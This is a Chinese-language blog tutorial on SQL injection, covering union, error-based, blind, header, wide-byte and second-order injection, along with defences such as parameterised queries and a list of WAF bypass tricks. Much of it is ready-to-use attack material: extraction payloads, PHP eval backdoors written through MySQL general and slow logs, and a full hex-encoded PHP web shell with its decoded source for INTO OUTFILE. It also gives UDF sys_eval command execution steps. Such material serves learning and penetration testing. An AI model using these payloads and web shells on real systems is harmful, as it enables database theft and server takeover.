SQL注入的一些理解

SQL注入是一种常见的Web安全漏洞,在OWASP Top10 2021中排名第三,主要成因是在前后端数据交互过程中,后端没有对前端传参做严格的判断,导致其传入的恶意数据被拼接到SQL语句中被当作SQL语句的一部分执行,从而导致数据库甚至整个服务器受损

常见注入方法

联合查询

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

构造查询语句使union select前面的参数查不出来,执行联合查询时就可以让某个位置输出我们查询的信息

1
2
3
4
5
6
#查询表名:w73443aep7
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
#查字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'#
#查数据
union select 1,group_concat(id,'--',username,'--',password),3 from users#

报错注入

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

可以使用以下构造方式:

  • group by 重复键冲突:select 1 from ( select count(*),concat( (select database() from information_schema.tables limit 0,1) , floor(rand()*2) )x from information_schema.tables group by x )a;其中select database() from information_schema.tables limit 0,1查询部分可以更换为任意查询语句,但是需要保证每次输出一个数据,如果想查看下一个需要将limit中的0,1改为1,1,第一个1意思是从第一个开始,第二个1是向下查看一行。
  • 利用Xpath报错:extractvalue() 函数:extractvalue(1,concat('^',(select database()),'^'))或者updatexml(1,concat('^',(需要查询的内容),'^'),1)

Floor报错注入

count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)

group by会产生虚拟表,floor(rand(0)*2)产生0或1,导致虚拟表主键重复,产生报错

extractvalue

extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

第一个参数可以随意输入,第二个参数可以是~或者^等不符合xpath格式,于是会把我们查询的报错出来

布尔盲注和基于时间的盲注

布尔盲注利用页面是否有错误来判断SQL语句有没有正确执行;基于时间的盲注利用是否执行了延时函数判断语句有没有正确查询。

因此针对这两种类型的注入,我们要构造判断语句,根据页面是否回显证实猜想,一般用到的函数ascii() 、substr() 、length(),exists()、concat()等,一般步骤如下:

  1. 判断当前数据库类型:
    • Mysql :exists(select * from information_schema.tables)
    • access:exists(select * from msysobjects)
    • SQL server:exists(select * from sysobjects).
  2. 判断数据库名:
    • 二分法判断长度:length(database()) > 5
    • 二分法判断第一个字符:ascii(substr(database(),1,1)) > 115
  3. 判断当前库的表名:
    • 二分法判断表数量:and (select count(table_name) from information_schema.tables where table_schema=database())>3
    • 二分法判断第一个表长度:and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
    • 二分法判断第一个表名第二个字符值:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100
  4. 判断表的字段:
    • 判断表中的字段个数:and (select count(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’)>5
    • 判断第一个字段长度:and length((select column_name from information_schema.columns where table_name=’users’ limit 0,1))>5
    • 判断第一个字段的第一个字段名值:and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>100
  5. 爆破字段数据(假设users表中有id字段):
    • 猜测字段中数据的长度:and length((select id from users limit 0,1))>5
    • 判断第一个字符值:and ascii(substr((select id from users limit 0,1),1,1))>100

基于时间盲注与布尔盲注差不多,只是利用了延时函数:and if(ascii(substr(database(),1,1))= 115,sleep(5),0),猜对了就会延时。

HTTP头注入

常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方:

  • User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中
  • cookie:某些字段可能回写入数据库
  • Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
  • X-Forwarded-For(XFF):用来识别客户端最原始的ip地址。

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。如果后端堆单引号等注入点做了一些转义,而我们需要绕过这个转义,一般有两种情况:让转义符失去作用,对转义符进行转义,另一个就是让转义符消失,让它变成别的符号。宽字节注入就是属于后者,宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

我们在前面加上 %df’ ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c’,而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ‘ ,被认为運’ ,成功消除了转义函数的影响。

二次注入

原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

getshell和提权

get shell

写入常规日志

前提条件:

1、知道网站真实物理路径
2、root用户身份
3、MySQL 版本 > 5.0

使用SHOW VARIABLES LIKE '%general%'查看日志开启状态

使用set global general_log = "ON"设置日志开启

设置日志输出路径:set global general_log_file ='web dir/log.php';

然后执行一条查询,这个查询包含一个一句话后门即可,例如SELECT '<?php @eval($_POST["cmd"]);?>';这条查询记录就会被记录在logfile里面,进而可以连接使用该后门。

同上面方法差不多,也可以写入慢查询日志:

1
2
3
show variables like '%slow%';
set GLOBAL slow_query_log_file='web dir/slow.php';
select '<?php @eval($_POST["cmd"]); ?>' from mysql.db where sleep(5);

写入outfile

默认配置一般为NULL即不允许写入,因此这个方法随缘

查看secure_file_priv 参数,如果该参数为空,可以使用该方法,如果是NULL,我们尝试set global secure_file_priv=''会提示:

#1238 - Variable ‘secure_file_priv’ is a read only variable

因此这个参数是不能修改的,只能手动在MySQL配置文件my.ini中修改。secure_file_priv的value为/dir/ ,只允许dir目录下导入导出。

如果为空的话,我们可以使用以下语句:

1
select 1,0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428226d61785f657865637574696f6e5f74696d65222c30293b247a3d40696e695f676574282264697361626c655f66756e6374696f6e7322293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528222f5b2c205d2b2f222c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028227472696d222c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282273797374656d2229297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636c65616e28293b7d656c736569662866282270726f635f6f70656e2229297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628227368656c6c5f657865632229297b24773d7368656c6c5f65786563282463293b7d656c736569662866282270617373746872752229297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636c65616e28293b7d656c7365696628662822706f70656e2229297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662822657865632229297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d6563686f223c7072653e24773c2f7072653e223b3f3e,3 into outfile 'web dir/out.php' 

其中十六进制数字是php后门转的十六进制数在线转换网站,原文为:

1
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

这样就把一个后门写入到了受害者的web目录,我们访问目录即可执行命令。

MySQL提权

udf命令执行

如果secure_file_priv为null,类似于写入outfile,这样就无法使用udf提权,如果value值为空,则可以继续尝试

  1. show variables like “%plugin%”
  2. 创建相应的plugin目录
  3. 可以从msf或者sqlmap上获取现成的dll文件(Linux中使用so文件),转换成十六进制序列,然后写入:

select 0x+16进制序列 into dumpfile “mysql dir/lib/plugin/lib_mysqludf_sys_32.dll”;

create function sys_eval returns string soname ‘lib_mysqludf_sys_32.dll’

然后就可以通过调用函数执行命令:

select sys_eval(‘net user’);

经过测试,如果mysql以普通用户权限运行,执行udf提权后还是普通用户权限,似乎并不能让原本的低权限用户获取更高级的权限,只是能让你在mysql中执行系统命令而已。因此网上其他博客说的是提权是不准确的。这里提权可以解释为从网站用户权限提升到数据库软件用户权限,比如数据库软件是普通用户权限运行,提权后就只能到普通用户权限,如果是管理员身份运行,则提权后可以到administrator或者system权限。

mof提权(未经尝试)

新的Windows不适用

写入启动项(未经尝试)

防范方法

控制权限

普通用户和管理员权限要做严格的区分,在权限设计阶段,对于应用软件的使用者,没有必要给它们数据库对象建立和删除的权限,即使他们使用SQL注入使用恶意代码,也无法执行很多特殊的功能,这样可以最大限度地减少注入对系统的危害。

使用参数化语句

如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句,而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。

比如使用一些ORM(Object/Relation Mapping, 即对象/关系数据库映射)框架就可以实现上述这些功能,比如在使用Mybatis时,使用#{}会在预编译期,生成两个 ?,作为占位符,传入的参数只会作为字段的值,不会拼接到SQL语句中,这样就可以达到防止SQL注入的问题。然而使用时如果采用${}的方式,预编译时还是会将值拼接到SQL语句中,还是会产生SQL注入的问题。

什么时候不能用参数化语句?

表名、列名需要动态传入的时候无法预编译,in、order by后面的字段无法参数化,因为参数化本质是添加‘’包裹字段,由于SQL自身原因这些字段不能加引号(真正的Oracle数据库实现预编译不是这么简单,如下述)

预编译防止SQL注入的原理是提前编译SQL语句,将所有的用户输入都当做『数据』,而非『语法』

通常来说,一条SQL语句从传入到运行经历了生成语法树、执行计划优化、执行这几个阶段。在预编译过程中,数据库首先接收到带有预编译占位符?的SQL语句,解析生成语法树(Lex),并缓存在cache中,然后接收对应的参数信息,从cache中取出语法树设置参数,然后再进行优化和执行。由于参数信息传入前语法树就已生成,执行的语法结构也就无法因参数而改变,自然也就杜绝了SQL注入的出现。

表名与列名是不能被预编译的,这是由于在预编译生成语法树的过程中,预处理器在检查解析后的语法树时,会确定数据表和数据列是否存在,此两者必须为具体值,不能被占位符?所替代,这就导致了ORDER BY、GROUP BY后同样不能使用#,只能使用$。而对于此场景防止SQL注入,不建议使用过滤或转义手段,而是将表名、列名定义为常量,当用户输入匹配某一常量时,再将此常量传入SQL语句中,否则就使用默认值。

参数化预编译的破绽

由Mybatis推广开来,往往预编译不容易办到或办不到的场景,在日常渗透测试与代码审计中更应引起我们的关注。总结如下:

  1. 白盒审计中PDO、PreparedStatement中开发者直接拼接SQL语句的行为,很多开发者以为使用了安全的类库就保证了安全,殊不知错误的用法仍会导致漏洞。
  2. 白盒审计中ORDER BY后的表名动态传入的SQL语句;渗透测试中允许用户传入按某个字段进行排序的行为,这很有可能是直接拼接的。
  3. 白盒审计中ORDER BY后排序方式(ASC/DESC)动态传入的SQL语句;渗透测试中允许用户选择正序倒序排列的行为,需要抓包查看是否直接传入ASC/DESC,若是则很有可能存在拼接行为。
  4. 白盒审计中模糊查询是否拼接;渗透测试中针对搜索行为进行SQL注入测试。
  5. 白盒审计中IN语句后是否拼接。

这样有针对性的进行试探和检查,能更有效的帮助我们找到漏洞。

对用户的输入进行验证

总体来说,防御SQL注入式攻击可以采用两种方法,一是上面说的强迫使用参数化语句来传递用户输入的内容;第二个就是加强对用户输入内容的检查与验证

假设来自用户的输入都是不安全的,来自用户的内容都要经过检查,如果发现有转义字符、注释字符、二进制数据等特殊数据,可以拒绝处理。在不影响数据库应用的前提下,过滤和转义引号、注释等容易引发SQL注入的特殊字符。

隐藏错误信息

错误信息是不需要展现给用户的,因此当数据库异常时不要把错误信息传递给客户端。

多使用数据库自带的安全参数

使用漏洞扫描工具寻找可能被攻击的点

设置陷阱账号

设置一个蜜罐,比如将admin账号设置为伪装的管理账户,口令非常复杂难以破解,吸引攻击者分析破解。

禁用某些参数

某些参数可能引起getshell,比如mysql的secure_file_priv参数,应当将其设置为不允许导入导出。

SQLMap

sqlmap: automatic SQL injection and database takeover tool

使用

Usage · sqlmapproject/sqlmap Wiki · GitHub

实现原理

SQLMap 整个运行机制:

  1. 获取 url、thread、headers 等信息存储至变量中;
  2. 网站存活性检测;
  3. WAF 检测 & WAF 类型识别;
  4. 稳定性检测;
  5. 注入检测。

WAF以及绕过WAF

大小写变换

比如WAF拦截了union,那就使用Union、UnloN等方式绕过。

编码

  1. WAF检测敏感字~,则可以用0x7e代替,如extractvalue(1,concat(‘~’,database())) 可以写成extractvalue(1,concat(0x7e,database()))
  2. 可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/somewords/等来替换空格
  3. WAF检测敏感字select,可以在URL中将select变成%73elEcT编码结合大小写变换绕过WAF

利用注释符

适用于WAF只过滤了一次危险的语句,而没有阻断整个查询语句的场合,比如:原查询语句为: ?id=1 union select 1,2,3,对于这条查询,WAF过滤了一次union和select,我们可以利用注释将注释里面的关键字过滤掉,如?id=1/*union*/union /*select*/select 1,2,3

重复写

适用于WAF只过滤一次敏感字的情况,WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion

比较符替换

!=不等于,<>不等于,<小于,>大于,这些都可以用来替换=来绕过

同功能函数替换

假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr()等函数来替换

floor() ==> updatexml(),extractvalue()

Substring() ==> Mid(),Substr(),Lpad(),Rpad(),Left()

concat() ==> concat_ws(),group_concat()

limit 0,1 ==> limit1 offset 0

and ==> &&

or ==> ||

= ==> <,>

= ==> like

Sleep() ==> benchmark()

%00 截断

部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。

协议未覆盖、异常Method绕过

有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过,或者检测GET请求使用POST发送绕过,修改方法请求头

部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。

超大数据包绕过

部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测

单引号被过滤

如果语句是select * from xxx where id='1' and pwd=’xxx’,我们可以尝试将id设置为 1\,pwd设置为or 1=1–+,此时sql语句就变成 select * from xxx where id='1\' and pwd=’or 1=1–+’,SQL语句中id就变成了1\' and pwd=,如果返回逻辑为true即可进行SQL注入

列名未知如何处理

查询information_schema表,如果该表无权限访问,可以利用联合查询,进行查询时的语句字段必须和指定表中的字段数一样,不然会报错,例如select 1,2,3 union select * from xxx,通过这种将未知原列名转换为其他值的方法,就可以注入出所有的数据

limit之后如何注入

procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) ;

通过分析select查询结果对现有的表的每一列给出优化的建议,语法:SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

information_schema被过滤

获取表名

在mysql系统库也有两个表中包含部分表名:

innodb_index_stats
innodb_table_stats

当我们通过database()获得数据库名后就可以利用sys.schema_auto_increment_columns视图去获得带有自增列的表名和列名

通过统计视图sys.schema_table_statistics

获取列名

利用重复列名报错:

select * from (select * from users as a join users b using (,,,))c;

其中(,,,)中为已知的列名,都不知道时去掉using (,,,)


SQL注入的一些理解
https://chujian521.github.io/blog/2022/11/26/SQL注入的一些理解/
作者
Encounter
发布于
2022年11月26日
许可协议